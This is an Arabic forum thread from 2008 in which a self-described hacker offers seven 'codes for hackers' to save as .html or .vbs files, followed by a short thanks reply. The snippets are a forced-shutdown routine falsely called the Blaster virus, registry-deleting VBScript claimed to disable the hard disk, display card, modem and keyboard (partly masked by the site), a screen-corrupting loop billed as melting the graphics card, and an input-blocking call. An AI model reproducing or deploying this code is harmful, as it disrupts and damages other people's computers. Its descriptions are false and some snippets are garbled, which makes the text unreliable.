قديم 10-16-2008, 12:09 AM   #1
aminos
أعضاء مسجلين
عضو مجتهد
 
الصورة الرمزية aminos
 
تاريخ التسجيل: Jun 2008
الدولة: في الأجهزة والمواقع
المشاركات: 152
معدل تقييم المستوى: 8
aminos is on a distinguished road
افتراضي كودات xxxx مهمة لكل القراصنه

كودات xxxx مهمة القراصنهاهلا وسهلا بكم في موقعكم yallarabكودات xxxx مهمة القراصنه

كودات xxxx مهمة القراصنه


مرحبا شباب
هاي مجموعة كودات ظريفة لعيونكم
1- كود فيروس بلاستر
رمز:
Shutdown Flags Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Const EWX_FORCE = 4 Const SE_PRIVILEGE_ENABLED = &H2 Const TokenPrivileges = 3 Const TOKEN_ASSIGN_PRIMARY = &H1 Const TOKEN_DUPLICATE = &H2 Const TOKEN_IMPERSONATE = &H4 Const TOKEN_QUERY = &H8 Const TOKEN_QUERY_SOURCE = &H10 Const TOKEN_ADJUST_PRIVILEGES = &H20 Const TOKEN_ADJUST_GROUPS = &H40 Const TOKEN_ADJUST_DEFAULT = &H80 Const SE_SHUTDOWN_NAME = "SeShutdownPrivilege" Const ANYSIZE_ARRAY = 1 Private Type LARGE_INTEGER lowpart As Long highpart As Long End Type Private Type Luid lowpart As Long highpart As Long End Type Private Type LUID_AND_ATTRIBUTES 'pLuid As Luid pLuid As LARGE_INTEGER Attributes As Long End Type Private Type TOKEN_PRIVILEGES PrivilegeCount As Long Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES End Type Private Declare Function InitiateSystemShutdown Lib "advapi32.dll" Alias "InitiateSystemShutdownA" (ByVal lpMachineName As String, ByVal lpMessage As String, ByVal dwTimeout As Long, ByVal bForceAppsClosed As Long, ByVal bRebootAfterShutdown As Long) As Long Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long Private Declare Function GetCurrentProcess Lib "kernel32" () As Long Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long Private Declare Function GetLastError Lib "kernel32" () As Long Public Function InitiateShutdownMachine(ByVal Machine As String, Optional Force As Variant, Optional Restart As Variant, Optional AllowLocalShutdown As Variant, Optional Delay As Variant, Optional Message As Variant) As Boolean Dim hProc As Long Dim OldTokenStuff As TOKEN_PRIVILEGES Dim OldTokenStuffLen As Long Dim NewTokenStuff As TOKEN_PRIVILEGES Dim NewTokenStuffLen As Long Dim pSize As Long If IsMissing(Force) Then Force = False If IsMissing(Restart) Then Restart = True If IsMissing(AllowLocalShutdown) Then AllowLocalShutdown = False If IsMissing(Delay) Then Delay = 0 If IsMissing(Message) Then Message = "" 'Make sure the Machine-name doesn't start with '\' If InStr(Machine, "\\") = 1 Then Machine = Right(Machine, Len(Machine) - 2) End If 'check if it's the local machine that's going to be shutdown If (LCase(GetMyMachineName) = LCase(Machine)) Then 'may we shut this computer down? If AllowLocalShutdown = False Then Exit Function 'open access token If OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hProc) = 0 Then MsgBox "OpenProcessToken Error: " & GetLastError() Exit Function End If 'retrieve the locally unique identifier to represent the Shutdown-privilege name If LookupPrivilegeValue(vbNullString, SE_SHUTDOWN_NAME, OldTokenStuff.Privileges(0).pLuid) = 0 Then MsgBox "LookupPrivilegeValue Error: " & GetLastError() Exit Function End If NewTokenStuff = OldTokenStuff NewTokenStuff.PrivilegeCount = 1 NewTokenStuff.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED NewTokenStuffLen = Len(NewTokenStuff) pSize = Len(NewTokenStuff) 'Enable shutdown-privilege If AdjustTokenPrivileges(hProc, False, NewTokenStuff, NewTokenStuffLen, OldTokenStuff, OldTokenStuffLen) = 0 Then MsgBox "AdjustTokenPrivileges Error: " & GetLastError() Exit Function End If 'initiate the system shutdown If InitiateSystemShutdown("\\" & Machine, Message, Delay, Force, Restart) = 0 Then Exit Function End If NewTokenStuff.Privileges(0).Attributes = 0 'Disable shutdown-privilege If AdjustTokenPrivileges(hProc, False, NewTokenStuff, Len(NewTokenStuff), OldTokenStuff, Len(OldTokenStuff)) = 0 Then Exit Function End If Else 'initiate the system shutdown If InitiateSystemShutdown("\\" & Machine, Message, Delay, Force, Restart) = 0 Then Exit Function End If End If InitiateShutdownMachine = True End Function Function GetMyMachineName() As String Dim sLen As Long 'create a buffer GetMyMachineName = Space(100) sLen = 100 'retrieve the computer name If GetComputerName(GetMyMachineName, sLen) Then GetMyMachineName = Left(GetMyMachineName, sLen) End If End Function Private Sub Form_Load() InitiateShutdownMachine GetMyMachineName, True, True, True, 60, "You initiated a system shutdown..." End Sub

2- كود تعطيل القرص الصلب

رمز:
******** ********="VB******"> set Wsh****l = Create******("W******.****l") Wsh****l.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\PCMIA\" </******>


3- كود تعطيل كرت الشاشة

رمز:
******** ********="VB******"> set Wsh****l = Create******("W******.****l") Wsh****l.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Monitor\" </******>

4- كود لتعطيل المودم

رمز:
******** ********="VB******"> set Wsh****l = Create******("W******.****l") Wsh****l.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Modem\" </******>


5- كود لتعطيل لوحة المفاتيح

رمز:
******** ********="VB******"> set Wsh****l = Create******("W******.****l") Wsh****l.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Keyboard\" </******>

6- كود لصهر كرت الشاشة

رمز:
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) If KeyCode = vbKeyEscape Then Unload Me End Sub Private Sub Form_Load() Dim lngDC As Long Dim intWidth As Integer, intHeight As Integer Dim intX As Integer, intY As Integer lngDC = GetDC(0) intWidth = Screen.Width / Screen.TwipsPerPixelX intHeight = Screen.Height / Screen.TwipsPerPixelY form1.Width = intWidth * 15 form1.Height = intHeight * 15 Call BitBlt(hDC, 0, 0, intWidth, intHeight, lngDC, 0, 0, vbSrcCopy) form1.Visible = vbTrue Do intX = (intWidth - 128) * Rnd intY = (intHeight - 128) * Rnd Call BitBlt(lngDC, intX, intY + 1, 128, 128, lngDC, intX, intY, vbSrcCopy) DoEvents Loop End Sub Private Sub Form_Unload(Cancel As Integer) Set form1 = Nothing End End Sub

7- كود لإيقاف الفأرة و لوحة المفاتيح

رمز:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Activate() DoEvents BlockInput True Sleep 1000 BlockInput False End Sub
تحفضها بامتداد html أو vbs


;,]hj xxxx lilm g;g hgrvhwki g;g hgrvhwki xxxx

__________________
غائب عن النت ومتوقف عن الهكر بسبب ظروف الدراسة مع تحيات الهكر الشبح
وإنشاء الله العودة قريبة

التعديل الأخير تم بواسطة aminos ; 10-16-2008 الساعة 12:51 AM
aminos غير متصل   رد مع اقتباس
قديم 10-16-2008, 12:12 AM   #2
MMS-AMMMK
من كبار الشخصيات
 
الصورة الرمزية MMS-AMMMK
 
تاريخ التسجيل: Jan 2006
الدولة: القاهرة-الوطن العربى
المشاركات: 19,541
معدل تقييم المستوى: 29
MMS-AMMMK will become famous soon enough
افتراضي

مشكورين اخى الحبيب على المجهود الرائع بس مع الاسف بعض الاكواد لا تظهر
__________________



:89: انت الزائر رقم:89:
لمواضيعي و ردوى
توقف عن الردود الباهتة
شارك برأيك فهو يهمنا اكثر من كلمة شكرا
MMS-AMMMK غير متصل   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
مهمة, لكل, القراصنه, xxxx, كودات


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
مجموعة كودات و مفاتيح لكل الجوالات MobiKey 1.0 Free Doctor_x برامج الجوال 1 03-14-2010 11:38 AM
معلومات مهمة عن الكمبيوتر مهمة جدا جدا جدا جدا صقر الظلام شروحات برامج يلاعرب 2 08-17-2008 02:47 PM
حصريا : لعبه القراصنه Black Buccaneer بحجم 220 ميجا بعد فك الضغط 1.5 جيجا HaMaDa العاب RIP 4 06-04-2008 04:42 PM
كودات حلوه لأغلب جوالات نوكيا Lion.313 برامج الجوال 3 07-04-2006 05:01 PM
الفراعنة" في مهمة لترويض "أسود الأطلسي" .. و"أفيال دروجبا" في مهمة سهلة أمام ليبيا bodetwo ريـاضـة بـلدنـا 1 01-24-2006 02:37 PM

Bookmark and Share

RSS RSS 2.0 XML MAP HTML

الساعة الآن 10:18 AM.

أقسام المنتدى

البيت بيتك | حوار صريح جدا جدا | كلام في الحب | فــي رحــاب الله | صـوتيات ومرئيــات إسـلامية | كـلام فـي الادب | مزيكا يــلاعـــرب | أقسـام الأغـانـي الأجنـبيـة Sections of foreign songs | كليبـات عربى واجنبى | يلا عرب Lyrics | فـــــن طـــازيــــا | عبـــــاقرة يلاعـــــرب | كمبيوتر يلاعرب | هـاكـرونـى | الـعـاب يلاعرب | ثـيـمـات و خـلـفـيـات ورسائل واخـبـار الـجـوال | جـرافــيكـــــا | ريــاضـة×ريــاضـة | ريـاضـة بـلدنـا | ريـاضـه بـلا حـدود | كليـبات ريـاضـية | المصارعة الحرة | عــــــــــلـــــــوم يلاعرب | العيـــــــادة الطـبـيـة والـنـفـسـيـة | الـعـالـم والـعـلـوم | 24 ساعه حول العالم | شـــباب × بنــــات | دلـع الـبنـات | شباب علي الموضه | أوبـن بـوفـيـــه | ديــكــورامــا | صحافة يلاعرب | خلينا نظبط الدش | افتكاســـــــــــــــــات | أضـحك من قلبـك | اشتات اشتوت | ألـبوم الصـور | ســــوق الســيارات | ألعـب مـع يلاعرب | يلاعرب لكل العرب | فيدنا بي رأيـك | شرح لمنتديات يلاعرب | إدارة يـلاعــرب | البــدروم | قصص وحكايات | لـسـة نــونــو | غرفة العمليات لمناقشات الأدارة | الكرة العربية | كمال الأجسام | البومــات عربى | كافى يلاعرب | منتدى التعليم | كــلام فــى الــديــن | تفاسيير وأحاديث وكتاب الله | مدونة يلاعرب | مــوبــى فـــون | الـصوتيات و النغمات | برامج الجوال | سينما يلاعرب | سينما عربى | ترجمة الأفلام | برامج الانترنت والنتورك | خدمــات Yahoo & Hotmail | تطوير المواقع والمنتديات | أغــانـــــي عربى سنجلز | أغانــي الزمــن الجميــل | شعــــــبيات مصرية | الاغاني السنجلز الاجنبية Songs Alsngelz foreign | الالبومات الاجنبيه الكامله Albums full foreign | الكليبـات العربيــة | الكليـــبـات الأجنـــبية Foreign Clips | كلمات الأغانـي العربية | كلمـات الأغـاني الأجنبية | ويـــندوز يلاعرب | شروحات برامج يلاعرب | قسم الترومان truman | الجوال الاسلامى | استشارات قانـونية | قسم الاسترا وعائلته | اللغات الاجنبية | English Forum | Forum Français | قسم التورنت | افلام الكرتون | مقاطع بلوتوث وافلام | قسم الفنون التشكيلية و الفوتوغرافية | منتدى المال والأعمال | عروض بيع وشراء العقارات | قسم الوظائف | قسم البورصة المصرية والعالمية | منتديات الهوايات والطبيعة | قسم الطبيعة والحياة البرية | قسم أسماك وطيور الزينة | قسم هواة تربية الحيوانات الأليفة | قسم المعلومات والمشروعات الزراعية | طـــور من نفسك | كاريكــاتــيرات | الترحيب والتهانى والتعازى | قسم الطرائف والغرائب وماوراء الطبيعه | كتب وبرامج دينية | اناشيد دينية | قسم السيرة النبوية | العاب تورنت | قسم الكيوماكس , ديجيتال ورلد ,vega | قسم هيوماكس Humax | قسم العاب الجوال | قسم دريم بوكس - Dreambox | قسم نوكيا Nokia | قسمstarsat & starcom & hivion | قسم المسلسلات العربية | المسلسلات الاجنبية | قسم كروت الستالايت والأنترنت الفضائى | كفرات الالبومات - Cd CoVers | هــل هلالـــك | الافلام الهندية | منتدى الالعاب | طلبات الافلام | قسم طلبات الالعاب | قسم الشعر | سلاسل ومكتبات الافلام | مدرسة الابلود | العاب RIP | قسم البرامج التلفزيونيه | قسم الاجهزة الاخرى | ويندوز 7و 8 | الـقـسـم الـعـام | الافلام الوثائقية | قسم دروس الفوتوشوب | فيديوهات YouTube & Google | تجميعات البرامج All in one | الافلام الاجنبيه المترجمه | طلبات البرامج ومشكل جهازك | قسم المسرحيات العربية | قسم الكتب الالكترونيه | العاب عامة | التقنية الحديثة | قسم الكمبيوتر العام |



Powered by vBulletin® Version 3.8.7, Copyright ©2000 - 2015, Jelsoft Enterprises Ltd.
جميع الحقوق محفوظة لشبكة يلاعرب و جميع المواضيع و المشاركات المكتوبه لا تعبر عن وجهة نظر الموقع وإنما عن وجهة نظر الاعضاء

Security team

This Forum used Arshfny Mod by islam servant
جميع الحقوق محفوظة لموقع يلا عرب لكل العرب تصميم النور اونلاين لخدمات الويب المتكاملة